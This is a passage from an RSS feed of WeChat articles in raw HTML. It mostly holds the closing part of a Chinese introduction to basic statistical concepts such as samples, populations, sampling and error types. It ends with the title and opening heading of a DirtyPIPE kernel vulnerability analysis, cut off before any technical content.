13px !important;white-space: inherit !important;">94.5</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">92.6</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">90.2</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">92.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">91.7</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">98.2</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">94.9</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">89.1</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">94.4</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span style="box-sizing: border-box;color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">91.6</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">我们计算一下真实的平均成绩：90.0</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">可以看到我们通过15个样本数据，计算了3个不同可信度的区间，这三个区间都包含了真实的总体均数：90.0。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">这就是统计学的魅力，它能从寥寥几个样本数据中，利用大自然的规律，去挖掘数据背后的信息。</p><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">一些基本概念</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">从上面的那个例子中，我们可以抽取出来很多基本概念。</p><h4 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">同质</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">首先，我们看到这些都是同年级的学生，考的同一门科目。像这种影响被研究指标的主要因素是相同或基本相同的，就可以认为这些研究对象是同质的。</p><h4 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">变异</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">虽然年级相同、年龄相仿、科目一样，但是每个人的成绩又都是不同的。因为每个人的成绩可能的影响因素是极其复杂的，因此同质的个体间其指标是存在差异的，这种差异叫做变异。可以这么说，没有变异就没有统计学，统计学的任务就是在同质的基础上，对个体变异进行分析研究，揭示由变异所掩盖的同质事物内在的本质和规律[1]。</p><h4 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">个体</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">个体是统计分析所要研究的基本对象。上例中，每一个学生就是一个个体，这和数理统计中的概念稍有差别，数理统计中会将每个学生的成绩作为个体。因为数理统计更偏理论一些，而统计学更偏重于解决实际问题，往往在研究一个个体的时候可能不止一个观测指标，如研究某地儿童的发育情况，可能会取身高、体重两个指标，这时把儿童整体作为一个个体，会更便利。</p><h4 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">总体</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">总体（population）是包含所研究的全部个体的集合。比如说，要研究某公司安全从业人员的薪酬情况，这时候总体就是该公司所有安全从业人员；要研究全球所有安全从业人员的薪酬情况，这时候总体就是全球所有的安全从业人员。而上文的例子中，总体就是全校207名学生。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">一般情况下，总体的数据是无法全部获取的，可能是由于成本，也可能是由于可行性，也可能是其他各种原因。</p><h4 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">样本</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">既然无法获取所要研究总体的全量数据，那就要从总体中抽一部分出来研究，这一部分是总体的一个子集，叫做样本（sample）。</p><ul style="padding-left: 30px;list-style-position: initial;list-style-image: initial;color: rgb(80, 97, 109);font-size: 15px;text-align: start;white-space: normal;margin-top: 6px !important;list-style-type: square !important;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">样本容量（sample size） 也叫样本量，是单个样本内包含的个体数量，比如上例中，样本是15个学生的成绩，那么样本容量就是15。</span></p></li><li style="box-sizing: border-box;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">样本数量 上例中，我们只有一组15个学生的成绩数据，那么样本数量就是1。</span></p></li></ul><h4 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">抽样</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">样本是怎么来的呢？是从总体里面抽出来的。从总体中选出部分个体的过程叫做抽样，其基本要求是抽样获取的样本对总体要有充分的代表性。抽样可分为：简单随机抽样、分层抽样、系统抽样、整群抽样。</p><h4 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">统计量</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">又叫抽样统计量，是对样本的观测值进行某种计算而获取到的一个指标，如上例中15个学生的平均成绩即为一个统计量。注意统计量和总体参数的差别，由样本计算出来的是统计量，由总体计算出来的是总体参数。统计量可以用于对统计参数进行估计（点估计）。</p><h4 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">参数</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">描述总体某一属性的指标，如上例中全体学生的平均成绩（总体均数）即为总体参数，一般用希腊字母μ，σ，π表示。</p><h4 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">误差</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">误差（errors）是观察值与真实值之间的差异。根据误差的来源，可分为如下三类：</p><ul style="padding-left: 30px;list-style-position: initial;list-style-image: initial;color: rgb(80, 97, 109);font-size: 15px;text-align: start;white-space: normal;margin-top: 6px !important;list-style-type: square !important;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">随机误差 由于多种随机因素导致的观察值与真实值之间的差异，随机误差的特点是差异是正反双向均衡的，可以通过多次重复测量来降低误差，比如取多次测量结果的平均值。抽样误差（sampling error）就是一种随机误差。样本统计量与总体参数之间的差异叫做抽样误差。抽样误差是可控制和计算的，可以通过增加样本容量来减少抽样误差。</span></p></li><li style="box-sizing: border-box;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">系统误差 系统误差遵循一定的规律，误差值具有固定方向或者恒定不变，如天平未校准导致测量的结果偏高。系统误差是可以避免的，如对仪器进行校准、按照操作流程进行质量控制等。</span></p></li><li style="box-sizing: border-box;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;">非系统误差 又称过失误差，是指因操作失误导致的观察值与真实值之间的差异。如抄错数字、写错计量单位等。非系统误差可以通过仔细核对予以清除。[2]</span></p></li></ul><h4 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">变量</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">在统计学研究中的研究指标叫做变量，如上例中学生的成绩。类似编程语言，统计学中的变量也分为不同的数据类型：</p><pre style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">定量数据</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">连续性数据</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">离散型数据</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">分类数据</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">两分类</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">多分类</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">顺序变量</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">名义变量</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">生存时间数据</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">不同的数据类型，适用不同的统计学方法。</p><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">总结</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">本文通过一个简单的例子来引入了统计学的一些基本概念，概念难免枯燥，但这是基石。后续我也会继续结合不同的实例来跟大家一起继续深入统计学的世界，探索统计的奥妙和神奇。到最后，你会发现，现在比较火的人工智能（AI），其理论基础其实就是统计学[3]，不过AI在传统统计学的基础上还揉入了很多工程化的实现，比如引入分布式计算来做数据分析等，这可能是传统统计研究者所不擅长的，不过这不是个理论问题，这只是个技术问题。具体到网络安全领域，其实有很多的场景适合利用统计学加成来完成更智能的攻击或者防守，因此建议对传统安全技术已经审美疲劳的朋友，可以尝试一下安全和统计的嫁接。由于想写的内容比较多，本系列文章会以连载的形式发布。行文若有纰漏之处，欢迎批评指正。</p><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">参考</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">1.<a href="http://www.tjxzj.net/789.html" target="_blank">http://www.tjxzj.net/789.html</a>
2.<a href="https://mengte.online/archives/173" target="_blank">https://mengte.online/archives/173</a>
3.<a href="https://finance.qq.com/a/20180811/044291.htm" target="_blank">https://finance.qq.com/a/20180811/044291.htm</a></p><p><br/></p>



<p><a href="2247484731">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9335f799&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247484731%26idx%3D1%26sn%3D224b80b41de9cb14a9402d5bbf38f090%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 30 Mar 2022 17:53:00 +0800</pubDate>
    </item>
    <item>
      <title>DirtyPIPE漏洞分析从0到1</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247484718&amp;idx=1&amp;sn=6555815b833970a610a98db06cf2d0f3</link>
      <description>水平有限，如有错误欢迎联系指正vx:1084099570 或 bigric3_1. 环境搭建1）编译内核#</description>
      <content:encoded><![CDATA[<p>
原创 <span>bigric3_</span> <span>2022-03-10 09:50</span> <span style="display: inline-block;"></span>
</p>

<p>水平有限，如有错误欢迎联系指正vx:1084099570 或 bigric3_1. 环境搭建1）编译内核#</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8fe24ff3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPN9wy7EzWWeiaXPtl2BGaOFg8Y0Dc7qqOsXEicRJIWH3lSvnvJV3NDxsWDaD5UJiaCchAUZlFVkr2icJlw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<blockquote style="box-sizing: border-box;margin: 20px 10px;padding-top: 1px;padding-bottom: 1px;font-size: 16px;white-space: normal;text-align: left;color: rgb(91, 91, 91);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;background: rgba(158, 158, 158, 0.1);border-left-color: rgb(158, 158, 158);"><p style="box-sizing: border-box;margin: 10px;color: rgb(63, 63, 63);line-height: 1.6;">水平有限，如有错误欢迎联系指正vx:1084099570 或 bigric3_</p></blockquote><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">1. 环境搭建</h2><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 